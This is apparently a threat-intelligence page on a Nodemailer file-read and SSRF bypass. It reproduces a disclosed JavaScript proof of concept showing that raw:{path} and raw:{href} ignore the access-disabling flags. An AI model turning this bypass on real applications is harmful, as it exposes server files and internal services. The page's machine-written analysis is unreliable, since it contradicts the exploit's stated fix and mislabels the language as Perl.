Nodemailer 9.0.0 - File Read/ SSRF
Nodemailer 9.0.0 - File Read/ SSRF
AI Analysis
Technical Summary
Nodemailer 9.0.0 has security weaknesses involving file read and SSRF vulnerabilities. The provided data indicates that versions up to and including 9.0.0 are affected. No detailed technical information or vendor advisory is available to clarify the exact nature or exploitation methods of these vulnerabilities.
Potential Impact
Successful exploitation could allow an attacker to read arbitrary files on the server or perform SSRF attacks, potentially leading to information disclosure or network reconnaissance. However, no evidence of active exploitation in the wild is reported.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, avoid using vulnerable versions or apply any recommended temporary mitigations from the vendor.
Indicators of Compromise
- exploit-code: # Exploit Title: Nodemailer 9.0.0 - File Read/ SSRF # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/nodemailer/nodemailer # Software Link: https://www.npmjs.com/package/nodemailer # Version: nodemailer <= 9.0.0 (fixed 9.0.1) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-p6gq-j5cr-w38f-nodemailer MailComposer.compile() builds the raw message/rfc822 node without threading the disableFileAccess/disableUrlAccess flags, so raw:{path}/raw:{href} reads files / fetches URLs anyway. Advisory: GHSA-p6gq-j5cr-w38f. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (poc-raw-fileaccess-bypass.js) --- 'use strict'; /* * PoC — message-level `raw` option bypasses disableFileAccess / disableUrlAccess. * * Threat model: an application that accepts untrusted message data passes * `disableFileAccess: true` (and/or `disableUrlAccess: true`) to Nodemailer to * prevent that untrusted input from reading local files or fetching URLs * (the same protection the jsonTransport advisory GHSA-wqvq-jvpq-h66f is about). * * This PoC shows that a `raw: { path: <file> }` (or `{ href: <url> }`) message * is read ANYWAY, because MailComposer.compile() builds the message/rfc822 root * node WITHOUT threading the flags (lib/mail-composer/index.js:34-35), unlike * every attachment/alternative node which is created with the flags. * * Benign marker: a sentinel file in the OS temp dir whose unique nonce we look * for in the generated message. No network, no destructive action. */ const nodemailer = require('../../../nodemailer'); const fs = require('fs'); const os = require('os'); const path = require('path'); const http = require('http'); const NONCE = 'SENTINEL-' + Date.now() + '-' + Math.floor(Math.random() * 1e6); const sentinelPath = path.join(os.tmpdir(), 'nm-poc-' + NONCE + '.eml'); fs.writeFileSync(sentinelPath, 'From: a@a\r\nSubject: ' + NONCE + '\r\n\r\nbody ' + NONCE + '\r\n'); function buildMessage(data, cb) { // streamTransport => fully local, returns the generated message as a stream. const transporter = nodemailer.createTransport({ streamTransport: true, buffer: true, // The application's protective flags: disableFileAccess: true, disableUrlAccess: true }); transporter.sendMail(data, (err, info) => { if (err) return cb(err); cb(null, info.message.toString()); }); } function run() { console.log('Nodemailer version:', require('../../../nodemailer/package.json').version); console.log('Sentinel file :', sentinelPath); console.log('Nonce :', NONCE); console.log('Transporter flags : disableFileAccess=true, disableUrlAccess=true\n'); // --- CONTROL: a normal attachment with the same path MUST be rejected --- buildMessage( { from: 'a@a', to: 'b@b', subject: 'control', text: 'x', attachments: [{ path: sentinelPath }] }, (err, msg) => { const controlBlocked = !!err && err.code === 'EFILEACCESS'; console.log('[CONTROL] attachment path with disableFileAccess:'); console.log(' => ' + (controlBlocked ? 'BLOCKED (EFILEACCESS) — flag works here' : 'NOT blocked (unexpected): ' + (err && err.message))); // --- ATTACK: message-level raw with the same path --- buildMessage({ raw: { path: sentinelPath } }, (err2, msg2) => { if (err2) { console.log('\n[ATTACK] raw:{path} => error (NOT bypassed): ' + err2.code + ' ' + err2.message); return finishUrl(controlBlocked, false); } const leaked = msg2.indexOf(NONCE) !== -1; console.log('\n[ATTACK] raw:{path} with disableFileAccess=true:'); console.log(' => ' + (leaked ? 'BYPASSED — sentinel file CONTENT is present in the generated message' : 'not leaked (sentinel nonce absent)')); if (leaked) { const idx = msg2.indexOf(NONCE); console.log(' excerpt: ...' + JSON.stringify(msg2.slice(Math.max(0, idx - 20), idx + 20)) + '...'); } finishUrl(controlBlocked, leaked); }); } ); } // Second observable: disableUrlAccess bypass via raw:{href} against a LOCAL (loopback) server. function finishUrl(controlBlocked, fileLeaked) { const URLNONCE = NONCE + '-URL'; const server = http.createServer((req, res) => { res.end('From: a@a\r\nSubject: x\r\n\r\nURLBODY ' + URLNONCE + '\r\n'); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; const href = ' http://127.0.0.1 :' + port + '/sentinel'; buildMessage({ raw: { href: href } }, (err, msg) => { let urlLeaked = false; if (err) { console.log('\n[ATTACK] raw:{href} => error (NOT bypassed): ' + err.code + ' ' + err.message); } else { urlLeaked = msg.indexOf(URLNONCE) !== -1; console.log('\n[ATTACK] raw:{href} with disableUrlAccess=true (loopback server):'); console.log(' => ' + (urlLeaked ? 'BYPASSED — server-side fetched body is present in the generated message (SSRF)' : 'not leaked')); } server.close(); try { fs.unlinkSync(sentinelPath); } catch (_e) {} console.log('\n================ RESULT ================'); console.log('control attachment blocked by flag : ' + controlBlocked); console.log('raw:{path} file-access bypass : ' + fileLeaked); console.log('raw:{href} url-access bypass : ' + urlLeaked); const pass = controlBlocked && (fileLeaked || urlLeaked); console.log('VERDICT: ' + (pass ? 'CONFIRMED — raw bypasses the access flags that block attachments' : 'NOT CONFIRMED')); process.exit(pass ? 0 : 1); }); }); } run();
Nodemailer 9.0.0 - File Read/ SSRF
Description
Nodemailer 9.0.0 - File Read/ SSRF
Affected software
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
Nodemailer 9.0.0 has security weaknesses involving file read and SSRF vulnerabilities. The provided data indicates that versions up to and including 9.0.0 are affected. No detailed technical information or vendor advisory is available to clarify the exact nature or exploitation methods of these vulnerabilities.
Potential Impact
Successful exploitation could allow an attacker to read arbitrary files on the server or perform SSRF attacks, potentially leading to information disclosure or network reconnaissance. However, no evidence of active exploitation in the wild is reported.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, avoid using vulnerable versions or apply any recommended temporary mitigations from the vendor.
Technical Details
- Version
- nodemailer <= 9.0.0
- Author
- Pig-Tail
- Platform
- Linux
- Edb Id
- 52654
- Has Exploit Code
- true
- Code Language
- perl
Indicators of Compromise
Exploit Source Code
Exploit code for Nodemailer 9.0.0 - File Read/ SSRF
# Exploit Title: Nodemailer 9.0.0 - File Read/ SSRF # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/nodemailer/nodemailer # Software Link: https://www.npmjs.com/package/nodemailer # Version: nodemailer <= 9.0.0 (fixed 9.0.1) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-p6gq-j5cr-w38f-nodemailer MailComposer.compile() builds the raw... (5892 more characters)
Threat ID: 6a848d66c6e8be03327c892c
Added to database: 08/18/2026, 16:50:46 UTC
Last enriched: 09/30/2026, 21:04:41 UTC
Last updated: 10/01/2026, 21:29:23 UTC
Views: 83
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.